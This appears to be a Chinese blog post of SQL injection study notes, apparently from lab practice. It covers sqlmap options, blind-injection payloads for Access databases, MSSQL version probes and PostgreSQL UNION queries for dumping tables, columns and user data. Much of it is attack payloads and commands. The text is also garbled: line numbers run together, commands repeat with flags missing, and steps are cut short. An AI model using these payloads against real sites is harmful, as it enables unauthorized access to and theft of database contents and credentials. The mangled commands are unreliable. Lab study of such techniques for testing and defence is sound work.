本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                1、sqlmap使用 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 基本操作笔记:- u  #注入点 - f  #指纹判别数据库类型 - b  #获取数据库版本信息 - p  #指定可测试的参数(?page= 1 & id= 2  - p "page,id") - D ""  #指定数据库名 - T ""  #指定表名 - C ""  #指定字段 - s ""  #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:- s "xx.log"  恢复:- s "xx.log" - U               #指定数据库用户 - v  #详细的等级(0 -6 ) 0 :只显示Python的回溯,错误和关键消息。 1 :显示信息和警告消息。 2 :显示调试消息。 3 :有效载荷注入。 4 :显示HTTP请求。 5 :显示HTTP响应头。 6 :显示HTTP响应页面的内容 - p "user-agent" / pentest/ database/ sqlmap/ txt/ - columns.txt  字段字典    - outputs.txt - tables.txt      表字典 - default - passwords.txt user - agents.txt 1. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - f - b 2. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - b 3. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - b 4. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - b 5. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - b 6. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - b 7. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - b 8. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - b 9. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - b 10. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - b 11. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - b 12. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - b 13. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  14. / sqlmap.py - u http:/ / www.xxxxx.com/ test.php?p= 2  - b 15. / sqlmap.py - u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" - p id 16. / sqlmap.py - u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" 17. / sqlmap.py - l burp.log 18. / sqlmap.py - u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" 19. / sqlmap.py - u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" 20. / sqlmap.py - u "http://192.168.136.129/mysql/get_int_4.php?id=1" 21. / sqlmap.py - u "http://192.168.136.129/mysql/get_int_4.php?id=1" 1. 读取数据库版本,当前用户,当前数据库 - u http:/ / www.xxxxx.com/ test.php?p= 2  - f - b 2. 判断当前数据库用户权限 - u http:/ / www.xxxxx.com/ test.php?p= 2  - u http:/ / www.xxxxx.com/ test.php?p= 2  3. 读取所有数据库用户或指定数据库用户的密码 - u http:/ / www.xxxxx.com/ test.php?p= 2  - u http:/ / www.xxxxx.com/ test.php?p= 2  4. 获取所有数据库 - u http:/ / www.xxxxx.com/ test.php?p= 2  5. 获取指定数据库中的所有表 - u http:/ / www.xxxxx.com/ test.php?p= 2  6. 获取指定数据库名中指定表的字段 - u http:/ / www.xxxxx.com/ test.php?p= 2  7. 获取指定数据库名中指定表中指定字段的数据 - u http:/ / www.xxxxx.com/ test.php?p= 2  8. file- read读取web文件 - u http:/ / www.xxxxx.com/ test.php?p= 2  9. file- write写入文件到web - u http:/ / www.xxxxx.com/ test.php?p= 2  
2、Access注入 Access数据库的组成(相比于MySQL等数据库,Access数据库没有数据库这一层,相当于每个网站的数据库都是独立的,没有跨库注入,只能暴力破解):
1 2 3 4 5 6 7 8 9 10 Access 数据库:
access 数据库都是存放在网站目录下,后缀格式为 mdb,accdb等可以通过一些暴库手段、目录猜解等直接下载数据库,
1 2 3 access 无法使用: union  select  1 ,2 ,3 ,4 格式,union  select  1 ,2 ,3  from  user 
access三大攻击手法 
1 2 3 1.access注入攻击片段-联合查询法
Access注入攻击方式 
主要有:union 注入、http header 注入、偏移注入等
EXISTS 运算符 EXISTS 运算符用于判断查询子句是否有记录,如果有一条或多条记录存在返回 True ,否则返回 False。
SQL EXISTS 语法 1 2 3 4 SELECT  column_name(s)FROM  table_nameWHERE  EXISTS SELECT  column_name FROM  table_name WHERE  condition );
Access数据库中的函数 1 2 3 4 select  len ("string" )        查询给定字符串的长度select  asc ("a" )             查询给定字符串的ascii值select  mid ("string" ,2 ,1 )    查询给定字符串从指定索引开始的长度
mid(string,start,length) 这个用来截取字符串的
string是要截取的字符串
start是截取的字符串开始索引
length是要截取的字符串长度 
2.1 盲注Access数据库  Access数据库特有的表是:msysobjects   ,所以可以用它来判断是否是Access数据库
1 exists (select  * from  msysobjects)  #如果这条语句正确,说明是Access数据库 
Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。
对于判断存在哪些表,只能用以下枚举的方法来猜测是否存在某某表。 
判断存在sql注入后,判断是否存在admin表,如果存在,正常查询,如果不存在,报语法错误。然后通过枚举表名爆破 
1 and  exists (select * from   admin )
猜测字段也是一样,只能通过枚举来猜测 
判断有admin表后,再判断admin表有多少列 ,假如1-10正常查询,11列报语法报错,那说明有10列
1 and  exists (select  * from  admin  order  by  10 )
判断出存在的列数后,再判断具体的列名 。以下语句判断是否存在name列,如果存在,正常查询,如果不存在,则报语法错误。然后再通过枚举列名爆破
1 and  exists (select  name  from  admin )
猜测完表名和字段名后,我们就看看这个表里面有多少行数据  ,如果>99查询正确,>100查询错误(这里是查询错误,而不是语法错误),说明有100行数据
1 and (select  count (*) from  information)>100 
然后在猜测每个字段具体的数据了 
access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 猜测admin 列的第一个数据的长度,如果大于5 查询不出数据,大于4 正常,说明admin 列的第一个数据长度是5 and  (select  top 1  len(admin )from  admin )>5 admin 列的第一行数据的第一个字符的ascii码值,如果大于97 查询不出数据,大于96 正常,说明admin 列的第一行数据的第一个字符的ascii值是97 and  (select  top 1  asc (mid(admin ,1 ,1 ))from  admin )>97  and  (select  top 1  asc (mid(admin ,2 ,1 ))from  admin )>97  admin 列的长度and  (select  top 1  len(admin )  from  ( select  top 2  * from  information order  by  id)  order  by  id desc )>55 2 条数据的第3 个字符and  (select  top 1  asc (mid(admin ,3 ,1 ))  from  ( select  top 2  * from  information order  by  id)  order  by  id desc )>55 4 个字符and  (select  top 1  asc (mid(admin ,4 ,1 ))  from  ( select  top 3  * from  information order  by  id)  order  by  id desc )>55 
注:在access中,中文也可以用asc函数 来表示,
例如:asc(mid(“中国”,1)) 表示 中 字的ascii值,可以用 chr  (将ascll码变为对应值)来逆向得出值
1 2 asc ("中" ) 10544 chr (-10544 ) 
	
2.2 Sqlmap注入Access数据库 爆出access数据库存在的表,只能利用枚举的方式爆破。
第一步问我们是否使用公共的库去爆破,我们选择:Y;
第二步选择默认的库文件:1 
第三步选择线程数:10
可以看出爆出了两个数据表:admin 、 specialty
爆出admin数据库中的列名
1 sqlmap -u "xxx"  -T  admin --columns 
意思和上一步也是一样的。 
爆出admin表下username列的所有数据
1 sqlmap -u "xxx"  -T admin  -C username --dump-all 
3 sqlSever数据库 注入(msSQL) 参考链接:
https://www.cnblogs.com/xishaonian/p/6173644.html 
3.1 墨者靶场sqlsever 1、判断数据库类型:
如果是mssql就正常显示
2、判断数据库版本
1 and  substring ((select  @@version ),22 ,4 )= '2005' 
适用于无回显模式,后面的2005就是数据库版本,返回正常就是2005的复制代码第一条语句执行
如果是2005版就有回显
4、postgreSQL 链接:
https://www.cnblogs.com/yilishazi/p/14710349.html 
常见函数(整体):
1 2 3 4 5 6 7 8 9 SELECT  version() #查看版本信息SELECT  user ;SELECT  current_user ;SELECT  session_user ;SELECT  usename FROM  pg_user;#这里是usename不是usernameSELECT  getpgusername();SELECT  current_database()10  CURRENT_SCHEMA()  查看当前数据库    sqlmap跑注入使用此函数。
4.1 墨者postgresql 首先查询字段数: 
猜出有四个四段
看回显 
1 union  select  '1' ,'2' ,'3' ,'4' 
注意要打逗号,
爆库 
1 union  select  '1' ,(select  current_database()),'3' ,'4'